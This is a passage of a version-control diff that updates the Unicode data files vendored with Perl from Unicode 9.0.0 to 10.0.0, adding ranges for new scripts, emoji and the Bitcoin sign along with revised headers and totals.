 2A700..2B734  ; Grapheme_Base # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734
 2B740..2B81D  ; Grapheme_Base # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D
 2B820..2CEA1  ; Grapheme_Base # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1
+2CEB0..2EBE0  ; Grapheme_Base # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0
 2F800..2FA1D  ; Grapheme_Base # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D
 
-# Total code points: 126288
+# Total code points: 134733
 
 # ================================================
 
@@ -11267,6 +11454,7 @@
 0BCD          ; Grapheme_Link # Mn       TAMIL SIGN VIRAMA
 0C4D          ; Grapheme_Link # Mn       TELUGU SIGN VIRAMA
 0CCD          ; Grapheme_Link # Mn       KANNADA SIGN VIRAMA
+0D3B..0D3C    ; Grapheme_Link # Mn   [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
 0D4D          ; Grapheme_Link # Mn       MALAYALAM SIGN VIRAMA
 0DCA          ; Grapheme_Link # Mn       SINHALA SIGN AL-LAKUNA
 0E3A          ; Grapheme_Link # Mn       THAI CHARACTER PHINTHU
@@ -11302,8 +11490,12 @@
 1163F         ; Grapheme_Link # Mn       MODI SIGN VIRAMA
 116B6         ; Grapheme_Link # Mc       TAKRI SIGN VIRAMA
 1172B         ; Grapheme_Link # Mn       AHOM SIGN KILLER
+11A34         ; Grapheme_Link # Mn       ZANABAZAR SQUARE SIGN VIRAMA
+11A47         ; Grapheme_Link # Mn       ZANABAZAR SQUARE SUBJOINER
+11A99         ; Grapheme_Link # Mn       SOYOMBO SUBJOINER
 11C3F         ; Grapheme_Link # Mn       BHAIKSUKI SIGN VIRAMA
+11D44..11D45  ; Grapheme_Link # Mn   [2] MASARAM GONDI SIGN HALANTA..MASARAM GONDI VIRAMA
 
-# Total code points: 47
+# Total code points: 54
 
 # EOF

Modified: vendor/perl/dist/lib/unicore/DNormalizationProps.txt
===================================================================
--- vendor/perl/dist/lib/unicore/DNormalizationProps.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/DNormalizationProps.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# DerivedNormalizationProps-9.0.0.txt
-# Date: 2016-03-02, 18:54:59 GMT
-# © 2016 Unicode®, Inc.
+# DerivedNormalizationProps-10.0.0.txt
+# Date: 2017-02-14, 04:26:07 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #

Modified: vendor/perl/dist/lib/unicore/EastAsianWidth.txt
===================================================================
--- vendor/perl/dist/lib/unicore/EastAsianWidth.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/EastAsianWidth.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# EastAsianWidth-9.0.0.txt
-# Date: 2016-05-27, 17:00:00 GMT [KW, LI]
-# © 2016 Unicode®, Inc.
+# EastAsianWidth-10.0.0.txt
+# Date: 2017-03-08, 02:00:00 GMT [KW, LI]
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -328,6 +328,7 @@
 0840..0858;N     # Lo    [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN
 0859..085B;N     # Mn     [3] MANDAIC AFFRICATION MARK..MANDAIC GEMINATION MARK
 085E;N           # Po         MANDAIC PUNCTUATION
+0860..086A;N     # Lo    [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA
 08A0..08B4;N     # Lo    [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW
 08B6..08BD;N     # Lo     [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON
 08D4..08E1;N     # Mn    [14] ARABIC SMALL HIGH WORD AR-RUB..ARABIC SMALL HIGH SIGN SAFHA
@@ -381,6 +382,8 @@
 09F4..09F9;N     # No     [6] BENGALI CURRENCY NUMERATOR ONE..BENGALI CURRENCY DENOMINATOR SIXTEEN
 09FA;N           # So         BENGALI ISSHAR
 09FB;N           # Sc         BENGALI GANDA MARK
+09FC;N           # Lo         BENGALI LETTER VEDIC ANUSVARA
+09FD;N           # Po         BENGALI ABBREVIATION SIGN
 0A01..0A02;N     # Mn     [2] GURMUKHI SIGN ADAK BINDI..GURMUKHI SIGN BINDI
 0A03;N           # Mc         GURMUKHI SIGN VISARGA
 0A05..0A0A;N     # Lo     [6] GURMUKHI LETTER A..GURMUKHI LETTER UU
@@ -425,6 +428,7 @@
 0AF0;N           # Po         GUJARATI ABBREVIATION SIGN
 0AF1;N           # Sc         GUJARATI RUPEE SIGN
 0AF9;N           # Lo         GUJARATI LETTER ZHA
+0AFA..0AFF;N     # Mn     [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
 0B01;N           # Mn         ORIYA SIGN CANDRABINDU
 0B02..0B03;N     # Mc     [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA
 0B05..0B0C;N     # Lo     [8] ORIYA LETTER A..ORIYA LETTER VOCALIC L
@@ -516,11 +520,12 @@
 0CE2..0CE3;N     # Mn     [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL
 0CE6..0CEF;N     # Nd    [10] KANNADA DIGIT ZERO..KANNADA DIGIT NINE
 0CF1..0CF2;N     # Lo     [2] KANNADA SIGN JIHVAMULIYA..KANNADA SIGN UPADHMANIYA
-0D01;N           # Mn         MALAYALAM SIGN CANDRABINDU
+0D00..0D01;N     # Mn     [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
 0D02..0D03;N     # Mc     [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA
 0D05..0D0C;N     # Lo     [8] MALAYALAM LETTER A..MALAYALAM LETTER VOCALIC L
 0D0E..0D10;N     # Lo     [3] MALAYALAM LETTER E..MALAYALAM LETTER AI
 0D12..0D3A;N     # Lo    [41] MALAYALAM LETTER O..MALAYALAM LETTER TTTA
+0D3B..0D3C;N     # Mn     [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
 0D3D;N           # Lo         MALAYALAM SIGN AVAGRAHA
 0D3E..0D40;N     # Mc     [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II
 0D41..0D44;N     # Mn     [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR
@@ -853,6 +858,7 @@
 1CF2..1CF3;N     # Mc     [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA
 1CF4;N           # Mn         VEDIC TONE CANDRA ABOVE
 1CF5..1CF6;N     # Lo     [2] VEDIC SIGN JIHVAMULIYA..VEDIC SIGN UPADHMANIYA
+1CF7;N           # Mc         VEDIC SIGN ATIKRAMA
 1CF8..1CF9;N     # Mn     [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE
 1D00..1D2B;N     # Ll    [44] LATIN LETTER SMALL CAPITAL A..CYRILLIC LETTER SMALL CAPITAL EL
 1D2C..1D6A;N     # Lm    [63] MODIFIER LETTER CAPITAL A..GREEK SUBSCRIPT SMALL LETTER CHI
@@ -861,7 +867,7 @@
 1D79..1D7F;N     # Ll     [7] LATIN SMALL LETTER INSULAR G..LATIN SMALL LETTER UPSILON WITH STROKE
 1D80..1D9A;N     # Ll    [27] LATIN SMALL LETTER B WITH PALATAL HOOK..LATIN SMALL LETTER EZH WITH RETROFLEX HOOK
 1D9B..1DBF;N     # Lm    [37] MODIFIER LETTER SMALL TURNED ALPHA..MODIFIER LETTER SMALL THETA
-1DC0..1DF5;N     # Mn    [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE
+1DC0..1DF9;N     # Mn    [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW
 1DFB..1DFF;N     # Mn     [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
 1E00..1EFF;N     # L&   [256] LATIN CAPITAL LETTER A WITH RING BELOW..LATIN SMALL LETTER Y WITH LOOP
 1F00..1F15;N     # L&    [22] GREEK SMALL LETTER ALPHA WITH PSILI..GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA
@@ -954,7 +960,7 @@
 20A9;H           # Sc         WON SIGN
 20AA..20AB;N     # Sc     [2] NEW SHEQEL SIGN..DONG SIGN
 20AC;A           # Sc         EURO SIGN
-20AD..20BE;N     # Sc    [18] KIP SIGN..LARI SIGN
+20AD..20BF;N     # Sc    [19] KIP SIGN..BITCOIN SIGN
 20D0..20DC;N     # Mn    [13] COMBINING LEFT HARPOON ABOVE..COMBINING FOUR DOTS ABOVE
 20DD..20E0;N     # Me     [4] COMBINING ENCLOSING CIRCLE..COMBINING ENCLOSING CIRCLE BACKSLASH
 20E1;N           # Mn         COMBINING LEFT RIGHT ARROW ABOVE
@@ -1120,7 +1126,7 @@
 23F0;W           # So         ALARM CLOCK
 23F1..23F2;N     # So     [2] STOPWATCH..TIMER CLOCK
 23F3;W           # So         HOURGLASS WITH FLOWING SAND
-23F4..23FE;N     # So    [11] BLACK MEDIUM LEFT-POINTING TRIANGLE..POWER SLEEP SYMBOL
+23F4..23FF;N     # So    [12] BLACK MEDIUM LEFT-POINTING TRIANGLE..OBSERVER EYE SYMBOL
 2400..2426;N     # So    [39] SYMBOL FOR NULL..SYMBOL FOR SUBSTITUTE FORM TWO
 2440..244A;N     # So    [11] OCR HOOK..OCR DOUBLE BACKSLASH
 2460..249B;A     # No    [60] CIRCLED DIGIT ONE..NUMBER TWENTY FULL STOP
@@ -1328,7 +1334,7 @@
 2B76..2B95;N     # So    [32] NORTH WEST TRIANGLE-HEADED ARROW TO BAR..RIGHTWARDS BLACK ARROW
 2B98..2BB9;N     # So    [34] THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD..UP ARROWHEAD IN A RECTANGLE BOX
 2BBD..2BC8;N     # So    [12] BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED
-2BCA..2BD1;N     # So     [8] TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN
+2BCA..2BD2;N     # So     [9] TOP HALF BLACK CIRCLE..GROUP MARK
 2BEC..2BEF;N     # So     [4] LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
 2C00..2C2E;N     # Lu    [47] GLAGOLITIC CAPITAL LETTER AZU..GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE
 2C30..2C5E;N     # Ll    [47] GLAGOLITIC SMALL LETTER AZU..GLAGOLITIC SMALL LETTER LATINATE MYSLITE
@@ -1397,7 +1403,7 @@
 2E40;N           # Pd         DOUBLE HYPHEN
 2E41;N           # Po         REVERSED COMMA
 2E42;N           # Ps         DOUBLE LOW-REVERSED-9 QUOTATION MARK
-2E43..2E44;N     # Po     [2] DASH WITH LEFT UPTURN..DOUBLE SUSPENSION MARK
+2E43..2E49;N     # Po     [7] DASH WITH LEFT UPTURN..DOUBLE STACKED COMMA
 2E80..2E99;W     # So    [26] CJK RADICAL REPEAT..CJK RADICAL RAP
 2E9B..2EF3;W     # So    [89] CJK RADICAL CHOKE..CJK RADICAL C-SIMPLIFIED TURTLE
 2F00..2FD5;W     # So   [214] KANGXI RADICAL ONE..KANGXI RADICAL FLUTE
@@ -1453,7 +1459,7 @@
 30FB;W           # Po         KATAKANA MIDDLE DOT
 30FC..30FE;W     # Lm     [3] KATAKANA-HIRAGANA PROLONGED SOUND MARK..KATAKANA VOICED ITERATION MARK
 30FF;W           # Lo         KATAKANA DIGRAPH KOTO
-3105..312D;W     # Lo    [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH
+3105..312E;W     # Lo    [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE
 3131..318E;W     # Lo    [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE
 3190..3191;W     # So     [2] IDEOGRAPHIC ANNOTATION LINKING MARK..IDEOGRAPHIC ANNOTATION REVERSE MARK
 3192..3195;W     # No     [4] IDEOGRAPHIC ANNOTATION ONE MARK..IDEOGRAPHIC ANNOTATION FOUR MARK
@@ -1476,8 +1482,8 @@
 3400..4DB5;W     # Lo  [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5
 4DB6..4DBF;W     # Cn    [10] <reserved-4DB6>..<reserved-4DBF>
 4DC0..4DFF;N     # So    [64] HEXAGRAM FOR THE CREATIVE HEAVEN..HEXAGRAM FOR BEFORE COMPLETION
-4E00..9FD5;W     # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5
-9FD6..9FFF;W     # Cn    [42] <reserved-9FD6>..<reserved-9FFF>
+4E00..9FEA;W     # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA
+9FEB..9FFF;W     # Cn    [21] <reserved-9FEB>..<reserved-9FFF>
 A000..A014;W     # Lo    [21] YI SYLLABLE IT..YI SYLLABLE E
 A015;W           # Lm         YI SYLLABLE WU
 A016..A48C;W     # Lo  [1143] YI SYLLABLE BIT..YI SYLLABLE YYR
@@ -1803,6 +1809,7 @@
 102E1..102FB;N   # No    [27] COPTIC EPACT DIGIT ONE..COPTIC EPACT NUMBER NINE HUNDRED
 10300..1031F;N   # Lo    [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS
 10320..10323;N   # No     [4] OLD ITALIC NUMERAL ONE..OLD ITALIC NUMERAL FIFTY
+1032D..1032F;N   # Lo     [3] OLD ITALIC LETTER YE..OLD ITALIC LETTER SOUTHERN TSE
 10330..10340;N   # Lo    [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA
 10341;N          # Nl         GOTHIC LETTER NINETY
 10342..10349;N   # Lo     [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL
@@ -2050,6 +2057,28 @@
 118E0..118E9;N   # Nd    [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE
 118EA..118F2;N   # No     [9] WARANG CITI NUMBER TEN..WARANG CITI NUMBER NINETY
 118FF;N          # Lo         WARANG CITI OM
+11A00;N          # Lo         ZANABAZAR SQUARE LETTER A
+11A01..11A06;N   # Mn     [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O
+11A07..11A08;N   # Mc     [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU
+11A09..11A0A;N   # Mn     [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A0B..11A32;N   # Lo    [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA
+11A33..11A38;N   # Mn     [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA
+11A39;N          # Mc         ZANABAZAR SQUARE SIGN VISARGA
+11A3A;N          # Lo         ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA
+11A3B..11A3E;N   # Mn     [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A3F..11A46;N   # Po     [8] ZANABAZAR SQUARE INITIAL HEAD MARK..ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK
+11A47;N          # Mn         ZANABAZAR SQUARE SUBJOINER
+11A50;N          # Lo         SOYOMBO LETTER A
+11A51..11A56;N   # Mn     [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE
+11A57..11A58;N   # Mc     [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU
+11A59..11A5B;N   # Mn     [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A5C..11A83;N   # Lo    [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA
+11A86..11A89;N   # Lo     [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA
+11A8A..11A96;N   # Mn    [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA
+11A97;N          # Mc         SOYOMBO SIGN VISARGA
+11A98..11A99;N   # Mn     [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER
+11A9A..11A9C;N   # Po     [3] SOYOMBO MARK TSHEG..SOYOMBO MARK DOUBLE SHAD
+11A9E..11AA2;N   # Po     [5] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO TERMINAL MARK-2
 11AC0..11AF8;N   # Lo    [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL
 11C00..11C08;N   # Lo     [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L
 11C0A..11C2E;N   # Lo    [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA
@@ -2071,6 +2100,16 @@
 11CB2..11CB3;N   # Mn     [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E
 11CB4;N          # Mc         MARCHEN VOWEL SIGN O
 11CB5..11CB6;N   # Mn     [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D00..11D06;N   # Lo     [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E
+11D08..11D09;N   # Lo     [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O
+11D0B..11D30;N   # Lo    [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA
+11D31..11D36;N   # Mn     [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A;N          # Mn         MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D;N   # Mn     [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D45;N   # Mn     [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA
+11D46;N          # Lo         MASARAM GONDI REPHA
+11D47;N          # Mn         MASARAM GONDI RA-KARA
+11D50..11D59;N   # Nd    [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE
 12000..12399;N   # Lo   [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U
 12400..1246E;N   # Nl   [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM
 12470..12474;N   # Po     [5] CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER..CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON
@@ -2100,10 +2139,12 @@
 16F51..16F7E;N   # Mc    [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG
 16F8F..16F92;N   # Mn     [4] MIAO TONE RIGHT..MIAO TONE BELOW
 16F93..16F9F;N   # Lm    [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8
-16FE0;W          # Lm         TANGUT ITERATION MARK
+16FE0..16FE1;W   # Lm     [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK
 17000..187EC;W   # Lo  [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC
 18800..18AF2;W   # Lo   [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755
-1B000..1B001;W   # Lo     [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE
+1B000..1B0FF;W   # Lo   [256] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER RE-2
+1B100..1B11E;W   # Lo    [31] HENTAIGANA LETTER RE-3..HENTAIGANA LETTER N-MU-MO-2
+1B170..1B2FB;W   # Lo   [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB
 1BC00..1BC6A;N   # Lo   [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M
 1BC70..1BC7C;N   # Lo    [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK
 1BC80..1BC88;N   # Lo     [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL
@@ -2255,6 +2296,7 @@
 1F210..1F23B;W   # So    [44] SQUARED CJK UNIFIED IDEOGRAPH-624B..SQUARED CJK UNIFIED IDEOGRAPH-914D
 1F240..1F248;W   # So     [9] TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C..TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557
 1F250..1F251;W   # So     [2] CIRCLED IDEOGRAPH ADVANTAGE..CIRCLED IDEOGRAPH ACCEPT
+1F260..1F265;W   # So     [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI
 1F300..1F320;W   # So    [33] CYCLONE..SHOOTING STAR
 1F321..1F32C;N   # So    [12] THERMOMETER..WIND BLOWING FACE
 1F32D..1F335;W   # So     [9] HOT DOG..CACTUS
@@ -2299,10 +2341,11 @@
 1F6CC;W          # So         SLEEPING ACCOMMODATION
 1F6CD..1F6CF;N   # So     [3] SHOPPING BAGS..BED
 1F6D0..1F6D2;W   # So     [3] PLACE OF WORSHIP..SHOPPING TROLLEY
+1F6D3..1F6D4;N   # So     [2] STUPA..PAGODA
 1F6E0..1F6EA;N   # So    [11] HAMMER AND WRENCH..NORTHEAST-POINTING AIRPLANE
 1F6EB..1F6EC;W   # So     [2] AIRPLANE DEPARTURE..AIRPLANE ARRIVING
 1F6F0..1F6F3;N   # So     [4] SATELLITE..PASSENGER SHIP
-1F6F4..1F6F6;W   # So     [3] SCOOTER..CANOE
+1F6F4..1F6F8;W   # So     [5] SCOOTER..FLYING SAUCER
 1F700..1F773;N   # So   [116] ALCHEMICAL SYMBOL FOR QUINTESSENCE..ALCHEMICAL SYMBOL FOR HALF OUNCE
 1F780..1F7D4;N   # So    [85] BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE..HEAVY TWELVE POINTED PINWHEEL STAR
 1F800..1F80B;N   # So    [12] LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD..DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
@@ -2310,14 +2353,13 @@
 1F850..1F859;N   # So    [10] LEFTWARDS SANS-SERIF ARROW..UP DOWN SANS-SERIF ARROW
 1F860..1F887;N   # So    [40] WIDE-HEADED LEFTWARDS LIGHT BARB ARROW..WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW
 1F890..1F8AD;N   # So    [30] LEFTWARDS TRIANGLE ARROWHEAD..WHITE ARROW SHAFT WIDTH TWO THIRDS
-1F910..1F91E;W   # So    [15] ZIPPER-MOUTH FACE..HAND WITH INDEX AND MIDDLE FINGERS CROSSED
-1F920..1F927;W   # So     [8] FACE WITH COWBOY HAT..SNEEZING FACE
-1F930;W          # So         PREGNANT WOMAN
-1F933..1F93E;W   # So    [12] SELFIE..HANDBALL
-1F940..1F94B;W   # So    [12] WILTED FLOWER..MARTIAL ARTS UNIFORM
-1F950..1F95E;W   # So    [15] CROISSANT..PANCAKES
-1F980..1F991;W   # So    [18] CRAB..SQUID
+1F900..1F90B;N   # So    [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT
+1F910..1F93E;W   # So    [47] ZIPPER-MOUTH FACE..HANDBALL
+1F940..1F94C;W   # So    [13] WILTED FLOWER..CURLING STONE
+1F950..1F96B;W   # So    [28] CROISSANT..CANNED FOOD
+1F980..1F997;W   # So    [24] CRAB..CRICKET
 1F9C0;W          # So         CHEESE WEDGE
+1F9D0..1F9E6;W   # So    [23] FACE WITH MONOCLE..SOCKS
 20000..2A6D6;W   # Lo [42711] CJK UNIFIED IDEOGRAPH-20000..CJK UNIFIED IDEOGRAPH-2A6D6
 2A6D7..2A6FF;W   # Cn    [41] <reserved-2A6D7>..<reserved-2A6FF>
 2A700..2B734;W   # Lo  [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734
@@ -2325,7 +2367,9 @@
 2B740..2B81D;W   # Lo   [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D
 2B81E..2B81F;W   # Cn     [2] <reserved-2B81E>..<reserved-2B81F>
 2B820..2CEA1;W   # Lo  [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1
-2CEA2..2F7FF;W   # Cn [10590] <reserved-2CEA2>..<reserved-2F7FF>
+2CEA2..2CEAF;W   # Cn    [14] <reserved-2CEA2>..<reserved-2CEAF>
+2CEB0..2EBE0;W   # Lo  [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0
+2EBE1..2F7FF;W   # Cn  [3103] <reserved-2EBE1>..<reserved-2F7FF>
 2F800..2FA1D;W   # Lo   [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D
 2FA1E..2FFFD;W   # Cn  [1504] <reserved-2FA1E>..<reserved-2FFFD>
 30000..3FFFD;W   # Cn [65534] <reserved-30000>..<reserved-3FFFD>

Modified: vendor/perl/dist/lib/unicore/EmojiSources.txt
===================================================================
--- vendor/perl/dist/lib/unicore/EmojiSources.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/EmojiSources.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,25 +1,22 @@
-# EmojiSources-9.0.0.txt
-# Date: 2016-01-21, 22:00:00 GMT [MS, KW]
-# © 2016 Unicode®, Inc.
+# EmojiSources-10.0.0.txt
+# Date: 2017-02-04, 00:00:00 GMT [MS, KW]
+# © 2017 Unicode®, Inc.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
 # Unicode Character Database
 # For documentation, see http://www.unicode.org/reports/tr44/
 #
-# This file provides mappings between Unicode code points and sequences on one hand
+# This file provides historical mappings between Unicode code points and sequences on one hand
 # and Shift-JIS codes for cell phone carrier symbols on the other hand.
 # Each mapping is symmetric ("round trip"), for equivalent Unicode and carrier
 # symbols or sequences. This file does not include best-fit ("fallback")
 # mappings to similar but not equivalent symbols in either mapping direction.
 #
-# Note: It is possible that future versions of this file will include
-# additional data columns providing mappings for additional vendors.
-#
 # Created for Unicode 6.0 by Markus Scherer.
 # Updated for subsequent versions by Ken Whistler (no changes to mappings).
 #
 # Format: Semicolon-delimited file with a fixed number of fields.
-# The number of fields may increase in the future.
+# Note that the format, including the number of fields, may change in the future.
 #
 # Fields:
 # 0: Unicode code point or sequence
@@ -30,6 +27,15 @@
 # Each field 1..3 contains a code if and only if the vendor character set
 # has a symbol which is equivalent to the Unicode character or sequence.
 
+# ================================================
+
+# Keycap sequences for telephone keypad.
+# The following 11 mappings are historical. The combining character sequences
+# in these mappings do not include variation selectors for emoji presentation.
+# Thus they do not match the named character sequences with keycaps listed in
+# NamedSequences.txt.
+# For modern data used in emoji support, see http://www.unicode.org/Public/emoji/latest/
+
 0023 20E3;F985;F489;F7B0
 0030 20E3;F990;F7C9;F7C5
 0031 20E3;F987;F6FB;F7BC
@@ -41,6 +47,7 @@
 0037 20E3;F98D;F744;F7C2
 0038 20E3;F98E;F745;F7C3
 0039 20E3;F98F;F746;F7C4
+
 00A9;F9D6;F774;F7EE
 00AE;F9DB;F775;F7EF
 2002;;F7AA;

Modified: vendor/perl/dist/lib/unicore/HangulSyllableType.txt
===================================================================
--- vendor/perl/dist/lib/unicore/HangulSyllableType.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/HangulSyllableType.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# HangulSyllableType-9.0.0.txt
-# Date: 2016-03-02, 18:55:01 GMT
-# © 2016 Unicode®, Inc.
+# HangulSyllableType-10.0.0.txt
+# Date: 2017-02-14, 04:26:11 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #

Modified: vendor/perl/dist/lib/unicore/Index.txt
===================================================================
--- vendor/perl/dist/lib/unicore/Index.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/Index.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -545,6 +545,7 @@
 BIRD	1F426
 BIRGA, MONGOLIAN	1800
 BISMILLAH AR-RAHMAN AR-RAHEEM, ARABIC LIGATURE	FDFD
+BITCOIN SIGN	20BF
 BLACK CIRCLE	25CF
 BLACK CIRCLE, MEDIUM	26AB
 BLACK FLAG	2691
